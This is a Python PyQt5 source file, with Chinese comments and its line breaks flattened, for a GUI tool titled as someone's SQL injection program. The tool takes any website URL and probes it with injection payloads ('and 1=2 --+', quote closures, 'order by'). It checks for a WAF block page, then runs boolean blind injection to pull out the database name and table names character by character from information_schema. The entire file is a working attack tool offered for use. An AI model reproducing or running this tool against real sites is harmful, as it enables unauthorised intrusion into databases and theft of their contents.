import requests,sys,time from PyQt5.QtWidgets import * from PyQt5.QtGui import QIcon from threading import Thread headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0' } test_1=['\'','\"'] a=['\'','\"',')'] #图形化界面 class gui(QWidget): def __init__(self): super(gui, self).__init__() self.setWindowTitle('王泽波波的sql注入') self.resize(700,700) self.setWindowIcon(QIcon("D:\\图片\\1.jpg")) self.ui() def ui(self): self.label=QLabel('域名') #域名标签 self.label.setStyleSheet("QLabel{color:green;font-size:29px}") #域名字体颜色 self.line=QLineEdit() #域名输入框 self.line.setStyleSheet("QLineEdit{font-size:27px}") self.startbt=QPushButton('开始') #开始按钮 self.startbt.setStyleSheet("QPushButton{background:white;color:red;font-size:25px}") self.text=QTextEdit() #结果显示 self.text.setText('结果') self.text.append('域名请输入完整如:https://www.xxx.com/1.php?id=1') self.boolbt=QPushButton('布尔盲注') #布尔盲注按钮 self.boolbt.setStyleSheet("QPushButton{color:blue;font-size:26px}") self.stopbt=QPushButton('停止') #停止按钮 self.stopbt.setStyleSheet("QPushButton{background:pink;color:black;font-size:26px}") self.stopbt.setEnabled(False) #停止按钮一来先禁用 self.hbox=QHBoxLayout() #域名标签-框-开始按钮的水平布局 self.hbox.addWidget(self.label) self.hbox.addWidget(self.line) self.hbox.addWidget(self.startbt) self.vbox2=QVBoxLayout() #布尔盲注-停止按钮的垂直布局 self.vbox2.addWidget(self.boolbt) self.vbox2.addWidget(self.stopbt) self.hbox2=QHBoxLayout() #结果-vbox2的水平布局 self.hbox2.addWidget(self.text) self.hbox2.addLayout(self.vbox2) self.vbox=QVBoxLayout() #hbox-hbox2的垂直布局 self.vbox.addLayout(self.hbox) self.vbox.addLayout(self.hbox2) self.setLayout(self.vbox) #显示 self.startbt.clicked.connect(self.start_func) self.stopbt.clicked.connect(self.stop) self.boolbt.clicked.connect(self.bool_func) self.bool=0 def bool_func(self): self.bool=1 self.boolbt.setEnabled(False) def start_func(self): self.boolbt.setEnabled(False) self.url=self.line.text() #获取输入的url if len(self.url)==0: QMessageBox.information(self,'温馨提示','请输入域名') else: self.startbt.setEnabled(False) #开始注入,开始按钮禁用 self.stopbt.setEnabled(True) #停止按钮可用 self.thread=Thread(target=self.statuscode) #开线程 self.thread.setDaemon(True) self.thread.start() def statuscode(self): #先检查域名的正确性 try: sql=requests.get(self.url,headers=headers) if sql.status_code==200: self.text.append('<font color=blue>开始注入中,主人请稍等.........') html=sql.text self.sql_injection(html) #得到html代码并传给sql_injection elif sql.status_code==404: QMessageBox.information(self,'温馨提示','网页不存在,请重新输入') self.stop() else: QMessageBox.information(self,'温馨提示','响应超时或其他原因,请重新输入') self.text.append(sql.status_code) self.stop() except Exception as e: self.text.append('<font color=blue>响应超时或域名不规整:%s'%e) self.stop() def sql_injection(self,html): response=requests.get(self.url+'and 1=2',headers=headers) if response.text==html: #无变化则不是数字型,可能是字符型或做了防护等 for i in test_1: #用test_1里面的字典进行字符型探测 resp_char=requests.get(self.url+'{0} and 1=2 --+'.format(i),headers=headers) if '拦截' in resp_char.text: #有waf拦截 self.text.append('<font color=orange>似乎有waf拦截,已停止注入') self.stop() return 0 else: #没有拦截,进行闭合测试 if resp_char.text!=html: #and 1=2有变化,有区别 resp_char2=requests.get(self.url+'{0} and 1=1 --+'.format(i),headers=headers) if resp_char2.text==html: #and 1=1验证是否闭合正确 char=i+' ' if self.bool==1: #布尔盲注 self.bool_injection(char,html) else: self.unoin_injection(char,html) #字符型验证正确联合查询 return 0 else: #闭合有变化,但是验证不正确,证明可能存在多个字符闭合 for j in a: if i==j: continue else: resp_char3=requests.get(self.url+'{0} and 1=1 --+'.format(i+j),headers=headers) if resp_char3.text==html: char=i+j+' ' if self.bool==1: self.bool_injection(char,html) else: self.unoin_injection(char,html) return 0 else: if j==a[-1]: self.text.append('<font color=blue>可能有多个字符闭合,但我没闭合成功,请校验字符集') self.stop() return 0 else: continue else: #无差别继续下个符号测试 if i==test_1[-1]: self.text.append('<font color=blue>可能有单个字符闭合,但我没闭合成功,请校验字符集') self.stop() return 0 else: continue else: #有变化可能是数字型或出错或waf拦截 if '拦截' in response.text: #先判断是否waf拦截 self.text.append('<font color=orange>似乎有waf拦截,已停止注入') self.stop() else: response=requests.get(self.url+' and 1=1',headers=headers) #进一步推测 if response.text==html: #1=1和1=2有区别可推测是数字型,可猜字段数 integer=' ' if self.bool==1: #布尔盲注 self.bool_injection(integer,html) else: self.unoin_injection(integer,html) #数字型验证正确联合查询 else: self.text.append('<font color=>还不清楚的逻辑,请检查我sql_injection()') self.stop() def unoin_injection(self,argument,html): for i in range(1,50): #字段数从1开始探测,无变化继续加1探测 resp_union=requests.get(self.url+'{0}order by {1} --+'.format(argument,i),headers=headers) if resp_union.text==html: continue else: if argument==' ': self.text.append('<font color=green>[*]存在数字型,字段数为<font color=red>{0}'.format(i-1)) else: self.text.append('<font color=green>[*]存在字符型 <font color=red>{0}</font>闭合,字段数为<font color=red>{1}'.format(argument,i-1)) break self.stop() def bool_injection(self,argument,html): #布尔盲注 for i in range(1,50): #跑数据库长度 resp_bool=requests.get(self.url+'{0}and if(length(database())={1},1,0) --+'.format(argument,i),headers=headers) if resp_bool.text==html: self.length=i self.text.append('<font color=green>[*]当前数据库长度<font color=red>{}'.format(self.length)) break self.database='' for x in range(1,self.length+1): resp_64=requests.get(self.url+'{0}and if(ascii(substr(database(),{1},1))>64,1,0) --+'.format(argument,x),headers=headers) if resp_64.text==html: #ascii码大于64的从64开始 for j in range(64,128): #跑数据库名的每个字母的ascii码 resp_bool2=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j,x),headers=headers) if resp_bool2.text==html: self.database=self.database+chr(j) break else: for j in range(0,64): resp_bool3=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j+i,x),headers=headers) if resp_bool3.text==html: self.database=self.database+chr(j) break self.text.append('<font color=green>[*]布尔盲注得到当前数据库名:<font color=red>{0}'.format(self.database)) #跑当前数据库的表 table_injection='(select count(*) from information_schema.tables where table_schema=database())' for i in range(30): #看当前数据库有多少张表 table_request=requests.get(self.url+'{0}and if({1}={2},1,0) --+'.format(argument,table_injection,i),headers=headers) if table_request.text==html: break #是否存在表 if i==0: self.text.append('<font color=green>[*]{0}数据库没有表'.format(self.database)) self.stop() return 0 else: self.text.append('<font color=green>[*]{0}数据库有{1}张表:'.format(self.database,i)) #跑每个表的表名 self.tablename='' #看group_concat的长度 group_length='(select group_concat(table_name) from information_schema.tables where table_schema=database())' group_request=requests.get(self.url+'{0}and if(length({1})>=50,1,0) --+'.format(argument,group_length),headers=headers) if group_request.text==html: #>=50 group_request=requests.get(self.url+'{0}and if(length({1})>=80,1,0)--+'.format(argument,group_length),headers=headers) if group_request.text==html: #>=80 for j in range(80,225): group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers) if group_request.text==html: self.group_len=j break else: #<80 for j in range(50,80): group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers) if group_request.text==html: self.group_len=j break else: #<50 group_request=requests.get(self.url+'{0}and if(length({1})>=25,1,0) --+'.format(argument,group_length),headers=headers) if group_request.text==html: #>=25 for j in range(25,50): group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers) if group_request.text==html: self.group_len=j break else: #<25 for j in range(1,25): group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers) if group_request.text==html: self.group_len=j break self.tabinject_fun(argument,html,group_length) def tabinject_fun(self,argument,html,group_length): for x in range(1,self.group_len+1): resp_64=requests.get(self.url+'{0}and if(ascii(substr({2},{1},1))>64,1,0) --+'.format(argument,x,group_length),headers=headers) if resp_64.text==html: #ascii码大于64的从64开始 for j in range(64,128): #跑数据库名的每个字母的ascii码 resp_bool2=requests.get(self.url+'{0}and if(ascii(substr({3},{2},1))={1},1,0) --+'.format(argument,j,x,group_length),headers=headers) if resp_bool2.text==html: self.tablename=self.tablename+chr(j) break else: for j in range(0,64): resp_bool3=requests.get(self.url+'{0}and if(ascii(substr({3},{2},1))={1},1,0) --+'.format(argument,j,x,group_length),headers=headers) if resp_bool3.text==html: self.tablename=self.tablename+chr(j) break self.text.append('<font color=red>{0}'.format(self.tablename)) self.stop() def stop(self): #停止注入 self.text.append('<font color=purple>注入结束') #字体大小可用<font size>,但有问题 self.startbt.setEnabled(True) self.boolbt.setEnabled(True) self.bool=0 self.stopbt.setEnabled(False) if __name__=='__main__': app=QApplication(sys.argv) gui=gui() gui.show() sys.exit(app.exec())